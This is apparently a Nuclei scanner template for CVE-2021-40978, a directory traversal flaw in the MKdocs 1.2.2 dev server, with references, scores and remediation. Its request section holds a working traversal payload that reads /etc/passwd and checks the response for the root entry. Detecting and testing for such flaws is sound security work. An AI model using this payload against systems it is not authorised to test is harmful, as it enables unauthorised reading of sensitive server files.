id: CVE-2021-40978

info:
  name: MKdocs 1.2.2 - Directory Traversal
  author: pikpikcu
  severity: high
  description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
  impact: |
    An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.
  reference:
    - https://github.com/mkdocs/mkdocs/pull/2604
    - https://github.com/nisdn/CVE-2021-40978
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40978
    - https://github.com/mkdocs/mkdocs
    - https://github.com/mkdocs/mkdocs/issues/2601
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40978
    cwe-id: CWE-22
    epss-score: 0.79718
    epss-percentile: 0.99116
    cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mkdocs
    product: mkdocs
  tags: cve2021,cve,mkdocs,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210090435f0b85eae90d62758138978355b93dba2a7bf7f235464fe4af9fac5e4afd022100c48e51cdc85257900ecc1992f8720fb9620bdea6d5eb2a66c20476755ef06c77:922c64590222798bb761d5b6d8e72950